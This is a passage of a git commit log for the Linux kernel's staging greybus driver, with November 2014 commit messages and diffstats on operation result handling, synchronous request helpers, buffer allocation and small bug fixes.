the result, an attempt to set -EBADR would be a bug. Define another known operation result value (-EINPROGRESS) for an outgoing operation whose request has been sent but whose response has not yet been successfully received. This should the first (non-initial) result value set, and it should happen exactly once. Any other attempt to set this value once set would be a bug. Finally, once the request message is in flight, the result value will be set exactly once more, to indicate the final result of the operation. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 32 ++++++++++++++++++++++++++++++-- 1 file changed, 30 insertions(+), 2 deletions(-) commit abe9a3006fd95d34e69617b65824613e503b9b77 Author: Alex Elder Date: Tue Nov 25 11:33:14 2014 -0600 greybus: first operation error prevails If an operation already has an error result recorded, don't overwrite it with a new error code. In order to ensure a request completes exactly once, return a Boolean indicating whether setting the result was successful. If two threads are racing to complete an operation (for example if a slow-but-normal response message arrives at the same time timeout processing commences) only the one that sets the final result will finish its activity. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 26 +++++++++++++++----------- 1 file changed, 15 insertions(+), 11 deletions(-) commit ba986b5ab97f59669cc5d174a8a7359b8600e2e5 Author: Alex Elder Date: Tue Nov 25 11:33:13 2014 -0600 greybus: encapsulate operation result access Hide the setting and getting of the operation result (stored in operation->errno) behind a pair of accessor functions. Only the operation core should be setting the result, but operations that complete asynchronously will need access to the result so expose the function that provides that. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 33 ++++++++++++++++++++++----------- drivers/staging/greybus/operation.h | 2 ++ 2 files changed, 24 insertions(+), 11 deletions(-) commit 9f240f20caf93090d82949d59d467dcde341560b Author: Greg Kroah-Hartman Date: Mon Nov 24 13:52:25 2014 -0800 greybus: uart-gb: clean up send_line_coding We always pass the same option to send_line_coding() for the line_coding structure, which is already in the struct gb_tty variable, so just remove the second parameter as it's not needed. This logic came from the cdc-acm.c driver, where it's also not needed anymore, I'll go fix up that later on when I get a chance. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart-gb.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit ecc25a7f58d9be842f591800f13f932396fb72af Author: Viresh Kumar Date: Mon Nov 24 09:25:24 2014 +0530 greybus: es1-ap-usb: don't use 'es1' after it is freed greybus_remove_hd() will free memory allocated to 'es1' and so using it after the routine has returned isn't right. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1-ap-usb.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit bf2329fd7d2795b9ce7146ca9e7092a7f507ce59 Author: Greg Kroah-Hartman Date: Sun Nov 23 17:45:24 2014 -0800 greybus: pwm-gb: convert to use gb_operation_sync This converts the PWM protocol driver to use gb_operation_sync, removing lots of places where the create/send/destroy pattern was being used to send greybus messages. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/pwm-gb.c | 206 +++++++++------------------------------ 1 file changed, 45 insertions(+), 161 deletions(-) commit 5a8b8314db138b9cc59f710a91b291cbe1486001 Author: Greg Kroah-Hartman Date: Sun Nov 23 17:45:23 2014 -0800 greybus: i2c-gb: convert to use gb_operation_sync This converts the I2C protocol driver to use gb_operation_sync, removing lots of places where the create/send/destroy pattern was being used to send greybus messages. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/i2c-gb.c | 102 +++++++++++---------------------------- 1 file changed, 28 insertions(+), 74 deletions(-) commit 7d5bbb173559328cdd63a729870baac69d3631f6 Author: Greg Kroah-Hartman Date: Sun Nov 23 17:45:22 2014 -0800 greybus: gpio-gb: convert to use gb_operation_sync This converts the GPIO protocol driver to use gb_operation_sync, removing lots of places where the create/send/destroy pattern was being used to send greybus messages. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/gpio-gb.c | 338 +++++++++++--------------------------- 1 file changed, 97 insertions(+), 241 deletions(-) commit e51f1d1a7711e2d68922dab08e2edc13fea8925a Author: Greg Kroah-Hartman Date: Sun Nov 23 17:45:21 2014 -0800 greybus: uart-gb: convert to use gb_operation_sync This converts the UART protocol driver to use gb_operation_sync, removing lots of places where the create/send/destroy pattern was being used to send greybus messages. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/uart-gb.c | 130 ++++++++++---------------------------- 1 file changed, 33 insertions(+), 97 deletions(-) commit ac3d24930226fac39ea6023577a03b9b5da4d5f6 Author: Greg Kroah-Hartman Date: Sun Nov 23 17:45:20 2014 -0800 greybus: vibrator-gb: convert to use gb_operation_sync This converts the vibrator protocol driver to use gb_operation_sync, removing the hand-rolled version of the same function, as well as removing an open-coded version for a request when turning on the vibrator motor. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/vibrator-gb.c | 60 +++++------------------------------ 1 file changed, 8 insertions(+), 52 deletions(-) commit d5671a6a24066dbf717ed83c143df7145377756c Author: Greg Kroah-Hartman Date: Sun Nov 23 17:45:19 2014 -0800 greybus: battery-gb: convert to use gb_operation_sync This converts the battery protocol driver to use gb_operation_sync, removing the hand-rolled version of the same function. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/battery-gb.c | 52 +++++++++++------------------------- 1 file changed, 16 insertions(+), 36 deletions(-) commit 10aa801d331609c38a58e0c4e73fd31103ffa230 Author: Greg Kroah-Hartman Date: Mon Nov 24 11:19:13 2014 -0800 greybus: operation: create gb_operation_sync for sending "simple" messages Everyone keeps doing the same create/send/destroy logic all over the place, so abstract that out to a simple function that can handle any arbritrary request and/or response. This will let us save lots of duplicated logic in the protocol drivers. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/operation.c | 54 +++++++++++++++++++++++++++++++++++++ drivers/staging/greybus/operation.h | 4 +++ 2 files changed, 58 insertions(+) commit 10c69399043351e5c68f07bedd14fe2fdbf32cb4 Author: Alex Elder Date: Fri Nov 21 19:29:20 2014 -0600 greybus: rework synchronous operation completion The only time we need a completion signaled on a request is when the request provided no callback function. In that case, we wait for a completion on behalf of the caller. If an interrupt occurs, we attempt to cancel the message that's been sent, but we don't actually complete the operation as required. Instead of simply waiting for the completion, put in place a special callback function for the synchronous operation. The only job the callback has is to signal completion, allowing the waiter to know it's done. This means gb_operation_complete() will always have a non-null callback pointer, so it becomes a simple wrapper, and we can get rid of it and invoke the callback directly, in gb_operation_work(). Be defensive by checking for a null callback pointer, and reset it to NULL once it's been called. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 42 +++++++++++++++++++------------------ 1 file changed, 22 insertions(+), 20 deletions(-) commit 2cf72a233a5d29bee380e89d325cde422a0c6bac Author: Alex Elder Date: Fri Nov 21 19:29:19 2014 -0600 greybus: kill gb_operation_wait() When a caller wants an operation to complete synchronously, there is generally no need for any other threads to wait for the operation's completion. So here's no need for gb_operation_wait() to be available for synchronous requests. At the moment, all operations are done synchronously. Knowing that, get rid of the public gb_operation_wait() function, and open-code it in gb_operation_request_send(). The public wait function can be re-implemented when it's really needed. With that function gone, the only waiter for the completion of an operation is the submitter itself, and only then if it's synchronous. So rather than complete_all(), we can simply use complete() to signal the submitter. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 24 +++++++----------------- 1 file changed, 7 insertions(+), 17 deletions(-) commit 7035833f081cefc3953a6a72a61767967f59a59e Author: Alex Elder Date: Fri Nov 21 19:29:18 2014 -0600 greybus: cancel whole operation on interrupt Cancel the operation--not just the request message--if waiting for a synchronous operation to complete is interrupted. Return the operation result (which in that case will be -EINTR). The cancelation will result in the normal operation completion path being taken before returning. Make gb_operation_wait() private, since it's only ever used for for synchronous operations. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 15 ++++++--------- drivers/staging/greybus/operation.h | 1 - 2 files changed, 6 insertions(+), 10 deletions(-) commit f68c05c0216e09ed93b12894747d8583dc5b8f8e Author: Alex Elder Date: Fri Nov 21 19:29:17 2014 -0600 greybus: cancel operation on timeout If an operation times out, we need to cancel whatever message it has in-flight. Do that instead of completing the operation, in the timeout handler. When the in-flight request message is canceled its completion function will lead to the proper completion of the operation. Change gb_operation_cancel() so it takes the errno that it's supposed to assign as the result of the operation. Note that we want to preserve the original -ETIMEDOUT error, so don't overwrite the operation result value if it has already been set. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 2 +- drivers/staging/greybus/operation.c | 19 ++++++------------- drivers/staging/greybus/operation.h | 3 +-- 3 files changed, 8 insertions(+), 16 deletions(-) commit 0e3d0e8fad52ed478647a1a122e21c7deb7f96cf Author: Alex Elder Date: Fri Nov 21 19:29:16 2014 -0600 greybus: minor tweak in gb_connection_recv_response() Any time we queue work on the operation work queue we need to have set the operation errno first. This patch moves the assignment of that field to be immediately prior to the queue_work() call in gb_connection_recv_response(), so it is easier to see at a glance that this has been done. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit deb4b9efb30606b8cb1150b8ae1e922405f60f8d Author: Alex Elder Date: Fri Nov 21 19:29:15 2014 -0600 greybus: add a reference to pending operations Grab an extra reference to an operation before sending it. Drop that reference at the end of its completion handling. It turns out gb_operation_get() got deleted along the way, so this re-introduces it. We're assuming we only get a reference when there's at least one in existence so we don't need a semaphore to protect it. Emphasize this by *not* returning a pointer to the referenced operation. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 21 +++++++++++++++++---- drivers/staging/greybus/operation.h | 2 +- 2 files changed, 18 insertions(+), 5 deletions(-) commit 583c3117a4d36499adfe6de186826d59f5c4d788 Author: Alex Elder Date: Fri Nov 21 19:29:14 2014 -0600 greybus: handle data send errors in workqueue The data sent callback can execute in atomic context. If an error occurred, we shouldn't be completing the operation right then and there. Instead, hand it off to the operation workqueue to complete the operation. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit ee637a9b0e7452c1e3fa12f2d70bc4736a486096 Author: Alex Elder Date: Fri Nov 21 19:29:13 2014 -0600 greybus: abandon incoming requests for now Change the operation "receive workqueue" to be just the operation "workqueue". All it does is complete an operation in non-atomic context. This is all that's required for an outgoing request. Similarly, ignore any notion that a response will only exist for outgoing requests in gb_operation_cancel(). I'm doing this in the interest of getting the outgoing request path verified without the encumbrance of any preconceptions about how incoming requests need to work. When I finally turn my full attenion to incoming requests I'll adapt the code as needed. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 38 +++++++++++++++++-------------------- drivers/staging/greybus/operation.h | 2 +- 2 files changed, 18 insertions(+), 22 deletions(-) commit 23383defa8395eb34d02dd4d4fc1d95e95c5603d Author: Alex Elder Date: Fri Nov 21 19:29:12 2014 -0600 greybus: use errno for operation result An in-core operation structure tracks the progress of an operation. Currently it holds a result field that was intended to take the status value that arrives in an operation response message header. But operations can fail for reasons other than that, and it's inconvenient to try to represent those using the operation status codes. So change the operation->result field to be an int, and switch to storing negative errno values in it. Rename it "errno" to make it obvious how to interpret the value. This patch makes another change, which simplifies the protocol drivers a lot. It's being done as part of this patch because it affects all the same code as the above change does. If desired I can split this into two separate patches. If a caller makes a synchronous gb_operation_request_send() request (i.e., no callback function is supplied), and the operation request and response messages were transferred successfully, have gb_operation_request_send() return the result of the request (i.e., operation->errno). This allows the caller (or more generally, any caller of gb_request_wait() to avoid having to look at this field for every successful send. Any caller that does an asynchronous request will of course need to look at request->errno in the callback function to see the result of the operation. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/battery-gb.c | 21 +--- drivers/staging/greybus/gpio-gb.c | 176 +++++++--------------------------- drivers/staging/greybus/i2c-gb.c | 75 ++++----------- drivers/staging/greybus/operation.c | 29 +++--- drivers/staging/greybus/operation.h | 5 +- drivers/staging/greybus/pwm-gb.c | 96 +++---------------- drivers/staging/greybus/uart-gb.c | 72 +++----------- drivers/staging/greybus/vibrator-gb.c | 42 +++----- 8 files changed, 114 insertions(+), 402 deletions(-) commit 696e0ccabd45d4aabf22d2b4a035c3b144a1607c Author: Viresh Kumar Date: Fri Nov 21 11:26:30 2014 +0530 greybus: Random spell fixes Reviewed-by: Alex Elder Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/battery-gb.c | 4 ++-- drivers/staging/greybus/connection.h | 2 +- drivers/staging/greybus/core.c | 2 +- drivers/staging/greybus/es1-ap-usb.c | 2 +- drivers/staging/greybus/manifest.c | 2 +- drivers/staging/greybus/module.c | 2 +- drivers/staging/greybus/operation.c | 12 +++++------- drivers/staging/greybus/protocol.c | 4 ++-- drivers/staging/greybus/uart-gb.c | 2 +- 9 files changed, 15 insertions(+), 17 deletions(-) commit de3557d927735d14a16e44475c078d6ff3060d10 Author: Alex Elder Date: Thu Nov 20 16:09:18 2014 -0600 greybus: rename greybus_cport_in() This function is associated with a host device (interface), not a CPort. Change its name to reflect that, and to match its "sent" callback counterpart. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 8 ++++++-- drivers/staging/greybus/connection.h | 2 +- drivers/staging/greybus/es1-ap-usb.c | 2 +- 3 files changed, 8 insertions(+), 4 deletions(-) commit d98b52b04e5bd3d8c47ca9a9bffcf08a43c944c3 Author: Alex Elder Date: Thu Nov 20 16:09:17 2014 -0600 greybus: define greybus_data_sent() Define greybus_data_sent(), which is a callback the host driver makes when a buffer send request has completed. The main use for this is to actively detect errors that can occur while sending. (Something like this existed at one time and was removed.) This also defines gb_hd_message_find(), which looks up a message pointer associated with a buffer sent over a given host device. This is now a pretty trival mapping. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1-ap-usb.c | 11 ++++++++- drivers/staging/greybus/operation.c | 44 ++++++++++++++++++++++++++++++++++++ drivers/staging/greybus/operation.h | 3 +++ 3 files changed, 57 insertions(+), 1 deletion(-) commit 87d208feb74f4297ac2677215252bf7da65e0650 Author: Alex Elder Date: Thu Nov 20 16:09:16 2014 -0600 greybus: embed message buffer into message structure Embed the buffer for message data into the message structure itself. This allows us to use a single allocation for each message, and more importantly will allow us to derive the message structure describing a message from the buffer itself. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 54 ++++++++++++------------------------- drivers/staging/greybus/operation.h | 2 ++ 2 files changed, 19 insertions(+), 37 deletions(-) commit c08b1ddaeb6e8f3c22b15f80e7475c809490a716 Author: Alex Elder Date: Thu Nov 20 16:09:15 2014 -0600 greybus: dynamically allocate requests and responses Have an operation's request and response messages be dynamically allocated rather than embedded in an operation. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/battery-gb.c | 2 +- drivers/staging/greybus/gpio-gb.c | 24 +++++----- drivers/staging/greybus/i2c-gb.c | 12 ++--- drivers/staging/greybus/operation.c | 89 +++++++++++++++++------------------ drivers/staging/greybus/operation.h | 4 +- drivers/staging/greybus/pwm-gb.c | 16 +++---- drivers/staging/greybus/uart-gb.c | 10 ++-- drivers/staging/greybus/vibrator-gb.c | 4 +- 8 files changed, 78 insertions(+), 83 deletions(-) commit 0a4e14a882aeefc7cb1bebff240b4d1c770065a4 Author: Alex Elder Date: Thu Nov 20 16:09:14 2014 -0600 greybus: rename message buffer fields The beginning of an operation message always contains the message header. Rename the "buffer" field in an operation message to be "header" to reflect this. Change its type as well. The size of a message is the combined size of its header and its payload. Rename the "buffer_size" field in a message header to be simply "size", so message->size describes exactly that. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 34 +++++++++++++++++----------------- drivers/staging/greybus/operation.h | 12 +++++------- 2 files changed, 22 insertions(+), 24 deletions(-) commit 8b337308e7ff71cd6ae6d9c04260f8ada6e98c9e Author: Alex Elder Date: Thu Nov 20 16:09:13 2014 -0600 greybus: have greybus allocate its own buffers Rather than having the host driver allocate the buffers that the Greybus core uses to hold its data for sending or receiving, have the host driver define what it requires those buffers to look like. Two constraints define what the host driver requires: the maximum number of bytes that the host device can send in a single request; and a statement of the "headroom" that needs to be present for use by the host device. The direct description of the headroom is that it's the extra byte the host device needs at the beginning of the "data" portion of the buffer so the ES1 driver can insert the destination CPort id. But more generally, the host driver could put other data in there as well. By stating these two parameters, Greybus can allocate the buffers it uses by itself. The host driver still allocates the buffers it uses for receiving data--the content of those are copied as needed into Greybus buffers when data arrives. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 3 +- drivers/staging/greybus/es1-ap-usb.c | 81 +++++++++++++++++------------------- drivers/staging/greybus/greybus.h | 6 ++- drivers/staging/greybus/operation.c | 29 +++++++++++-- 4 files changed, 68 insertions(+), 51 deletions(-) commit 8d55f4c6d9a29f4b3483231f6d88458333ee36ed Author: Alex Elder Date: Thu Nov 20 15:37:07 2014 -0600 greybus: complete overflow responses If a response arrives for an operation request and the allotted buffer isn't big enough we report the error, but we don't finish processing the response. Instead, set the operation result, but then finish processing the response (no different from any other operation error). This will allow the normal completion handling to occur for this error case. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) commit e8b48d1586abd62dd1749520dccd4bac784ce680 Author: Alex Elder Date: Thu Nov 20 15:37:06 2014 -0600 greybus: fix a timeout race Whenever we send a request message we start a timer to ensure the we don't wait too long for the matching response to arrive. Currently we set up the timeout *after* sending the message, but that is subject to a race--the response could arrive (and the timeout prematurely disabled) before the timeout is even set up. Set up the timeout before sending the message. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) commit 5e68995784ad7ef8410661f3970bebf272fd322f Author: Alex Elder Date: Thu Nov 20 15:37:05 2014 -0600 greybus: drop a now-empty structure One structure, gb_gpio_activate_response, was not deleted even though it now has no contents. Delete it. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio-gb.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 7486dfd161e4474b20e9acf5ca4c8c439cd0def6 Author: Greg Kroah-Hartman Date: Wed Nov 19 19:09:53 2014 -0800 greybus: add -Wall to the build flags In an attempt to turn on as many options as we can to catch warnings early, let's enable -Wall. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/Makefile | 3 +++ 1 file changed, 3 insertions(+) commit 4589f0666334edf220402cc4d791657e3565f9f7 Author: Greg Kroah-Hartman Date: Wed Nov 19 17:02:21 2014 -0800 greybus: pwm-gb.c: fix up missing { } for else This was a compiler warning, which looked correct, but was trying to tell us something else... Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/pwm-gb.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 9ffb4b8b398a7c420a94372abcde05a41ac23ccb Author: Greg Kroah-Hartman Date: Wed Nov 19 16:56:13 2014 -0800 greybus: uart-gb: fix up typo from previous patch moving the status variable around. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart-gb.c | 1 + 1 file changed, 1 insertion(+) commit 25d0f81a0ec9263618b6e7e75879e963d438bc11 Author: Alex Elder Date: Wed Nov 19 17:55:05 2014 -0600 greybus: remove status from all responses This is a pervasive change, but not really a big one. However: ============== Pay attention to this ============== If you're doing any testing with "gbsim" you need to update that program in sync with this change, because it changes the protocol used between them. ============== Pay attention to this ============== The status of a request is now recorded in the header of a response message. The previous patch put that header status byte in place, and this one removes the status byte from all the response messages. And finally, since we're modifying all these files anyway... Use gb_operation_status_map() to come up with a return code to use, given an operation response. Right now most errors simply result in -EIO getting returned. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/battery-gb.c | 24 ++---- drivers/staging/greybus/gpio-gb.c | 143 ++++++++++++++-------------------- drivers/staging/greybus/i2c-gb.c | 69 +++++++--------- drivers/staging/greybus/operation.c | 5 +- drivers/staging/greybus/pwm-gb.c | 98 ++++++++++------------- drivers/staging/greybus/uart-gb.c | 66 ++++++---------- drivers/staging/greybus/vibrator-gb.c | 30 +++---- 7 files changed, 170 insertions(+), 265 deletions(-) commit bc717fcbf673b0852a474b869efb9bfd0989b012 Author: Alex Elder Date: Wed Nov 19 17:55:04 2014 -0600 greybus: define gb_operation_status_map() Define a common function that maps an operation status value to a Linux negative errno. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 29 +++++++++++++++++++++++++++++ drivers/staging/greybus/operation.h | 2 ++ 2 files changed, 31 insertions(+) commit d30df426ffc055586ec63359aee27458af10214f Author: Alex Elder Date: Wed Nov 19 17:55:03 2014 -0600 greybus: send operation result in response message header Define a result byte in an operation response message header. All the protocols now define the mandatory status as the first byte in their response message. Assume that, for the moment, and save that value into the header result field (until we can get the simulator set up to handle the new protocol). Record the result from the response header as the result of the overall operation. Start enforcing the rule that we ignore all response payload (in fact, the entire message) if we see a non-zero result value. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 36 +++++++++++++++++++++++++----------- 1 file changed, 25 insertions(+), 11 deletions(-) commit 30a2964f8455ede0f2416a3b6a28b60acc4b569c Author: Alex Elder Date: Wed Nov 19 17:55:02 2014 -0600 greybus: distinguish incoming from outgoing requests When we remove the mandatory status byte from response messages we will no longer be able to use a zero-sized response to indicate an operation is to be used for an incoming request. Define a new function gb_operation_create_incoming() to be used for incoming operations. Change (and rename) gb_operation_create() to be a helper that takes a Boolean to indicate which type is to be created, and use a simple wrapper to expose the outgoing operation creation routine. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 27 ++++++++++++++++++++++----- 1 file changed, 22 insertions(+), 5 deletions(-) commit dcec19fb1b10b62e02db9e234f0091509545971e Author: Alex Elder Date: Wed Nov 19 17:55:01 2014 -0600 greybus: get rid of uart request_operation() In "uart-gb.c", request_operation() function is only used by get_version(). Since it's not reused, it probably subtracts rather than adds value. So just incorporate what it does into get_version() and get rid of request_operation(). Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart-gb.c | 67 ++++++++++++++------------------------- 1 file changed, 24 insertions(+), 43 deletions(-) commit 980c7c509eb36c693576ad342a11455f530db0b9 Author: Greg Kroah-Hartman Date: Wed Nov 19 14:23:00 2014 -0800 greybus: uart-gb: handle throttle/unthrottle properly This hooks up throttle/unthrottle to properly toggle the RTS line or do XON/XOFF if that is how the port is set up. Note, if the UART itself can handle XON/XOFF, we would need to send the correct character down to it, to have the firmware in the device set up the chip to use it automatically when needed. The odds of someone wanting to use this type of flow control is slim, so this isn't implemented at this point in time. Also fill in a few more fields in the get_serial_info ioctl, to make tools like stty(1) happier. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart-gb.c | 47 +++++++++++++++++++++++++-------------- 1 file changed, 30 insertions(+), 17 deletions(-) commit d122382f88e0a2849e758acb46140d3085b3dc61 Author: Alex Elder Date: Wed Nov 19 17:05:14 2014 -0600 greybus: fix vibrator request_operation() And this fixes a problem similar the last two, this time found in the vibrator protcool driver code. Change a variable name in get_version() to reflect that it holds a response message, not a request message. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/vibrator-gb.c | 32 ++++++++++++-------------------- 1 file changed, 12 insertions(+), 20 deletions(-) commit bc091356ccbf2e08b2a8818efce043669f131e59 Author: Alex Elder Date: Wed Nov 19 16:29:15 2014 -0600 greybus: fix uart request_operation() This fixes a problem similar to what was found in the battery protcool driver code. There's no need to allocate a local buffer, that already set up by gb_operation_create(). Just use that instead. Change a few variable names to reflect that they hold response messages, not request messages. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart-gb.c | 32 ++++++++++++-------------------- 1 file changed, 12 insertions(+), 20 deletions(-) commit 0bbfe04cd945df79c52924284b2242508fef4e47 Author: Alex Elder Date: Wed Nov 19 16:29:14 2014 -0600 greybus: fix battery_operation() This patch fixes some problems with the battery protocol driver. First, when gb_operation_create() is called, it creates buffers of the requested sizes to hold the operation request and response messages. There is therefore no reason to allocate a local response buffer. By the time the (synchronous) gb_operation_request_send() call returns, the operation response buffer will have been filled in. (In addition, the content of local_response was not being filled before its contents were used...) Next, all the message structures are misnamed. The structures that are defined are all the content of operation response messages (not request messages). So this changes all the types names to properly reflect their role. All the local variables using these types are similarly renamed. I added a new type, gb_generic_battery_response, to be used for casting the fake_response used in battery_operation(). Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/battery-gb.c | 92 ++++++++++++++++++------------------ 1 file changed, 47 insertions(+), 45 deletions(-) commit 8abf4148030d42825d4f76f4a3cf734dbc2bcd2b Author: Viresh Kumar Date: Wed Nov 19 17:25:00 2014 +0530 greybus: operation: don't complete operation twice Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit d37b1db13f8b5f3ad27aff5aa487b4ea2a298aa4 Author: Alex Elder Date: Wed Nov 19 12:27:17 2014 -0600 greybus: refactor gb_connection_recv() Define two helper functions to break down handling of a received message. One is used to handle receiving an incoming request message, the other for a response message. Three other changes are made: - We verify message size recorded in the message header does not exceed the amount of data that's arriving. - We no longer warn if a request' recorded message size differs from the number of bytes that have arrived. - We now record the operation id for an incoming request. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 122 +++++++++++++++++++++++------------- 1 file changed, 78 insertions(+), 44 deletions(-) commit 8fc71a73363f742c70ef5d570b795583124efd29 Author: Alex Elder Date: Wed Nov 19 12:27:16 2014 -0600 greybus: use "operation_id" for certain values A message header contains a field "id" that is an operation id. Since the field doesn't identify the message itself, rename this field so it's clearer what it's referring to. Similarly gb_pending_operation_find() has a parameter "id" that is really an operation id, so rename that as well. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) commit 6014718d4db9d48a980d70c66a7617293db633e6 Author: Alex Elder Date: Wed Nov 19 12:27:15 2014 -0600 greybus: get rid of message status We (sort of) maintain the status of each message, but we shouldn't need to. Right now we're not using it consistently in any case. If a message fails to send, the caller will know to destroy the operation that contained it. If a message has been sent (i.e., handed to the host device layer) it'll have a non-null cookie pointer. If a does complete in error, we can update the status of the operation that contains it. That isn't happening right now but it will soon. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 17 +++++++++-------- drivers/staging/greybus/operation.h | 1 - 2 files changed, 9 insertions(+), 9 deletions(-) commit c41f1651c4962e56548a5b580e60f66a724357e7 Author: Alex Elder Date: Wed Nov 19 12:27:14 2014 -0600 greybus: tidy up svc_in_callback() and cport_in_callback() The only use of local variable "es1" in in svc_in_callback() and cport_in_callback() is to get at its hd field. But we already have that, so we can get rid of that local variable. Also, rename the "cport" variable "cport_id" in cport_in_callback() is to match the convention used elsewhere, and make it the proper u16 type. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1-ap-usb.c | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) commit 2292bac5e76846387152d1d20b10cb79f8c1b14b Author: Alex Elder Date: Wed Nov 19 12:27:13 2014 -0600 greybus: explicitly mark cookies as opaque Use simple macros to mark the conversion of an URB pointer into an opaque cookie value (and vice-versa). We scramble some bits, but the main point is to make it explicit where we're returning and using opaque values. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1-ap-usb.c | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) commit c002b0ec60c5d7acc8cc7af88ed6845f3e656fc7 Author: Viresh Kumar Date: Wed Nov 19 17:24:59 2014 +0530 greybus: ap: function_id is already set by svc_msg_alloc() Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/ap.c | 2 -- 1 file changed, 2 deletions(-) commit 64e69291d9d6c14c133910bb0d8b5072fbd4397d Author: Viresh Kumar Date: Wed Nov 19 17:24:58 2014 +0530 greybus: Pass '*ptr' to sizeof() wherever possible Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/ap.c | 8 ++++---- drivers/staging/greybus/i2c-gb.c | 4 ++-- drivers/staging/greybus/manifest.c | 2 +- drivers/staging/greybus/sdio-gb.c | 2 +- 4 files changed, 8 insertions(+), 8 deletions(-) commit a4040ab7e68ee9b1e4750f42c93b49bc53768b0c Author: Viresh Kumar Date: Wed Nov 19 17:24:57 2014 +0530 greybus: ap: keep all svc function routines together Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/ap.c | 36 ++++++++++++++++++------------------ 1 file changed, 18 insertions(+), 18 deletions(-) commit e2dabb7c3173020a7497b18d7430a895f80ba9ce Author: Viresh Kumar Date: Wed Nov 19 17:24:56 2014 +0530 greybus: ap: remove extra parameter to convert_ap_message() Signed-off-by: 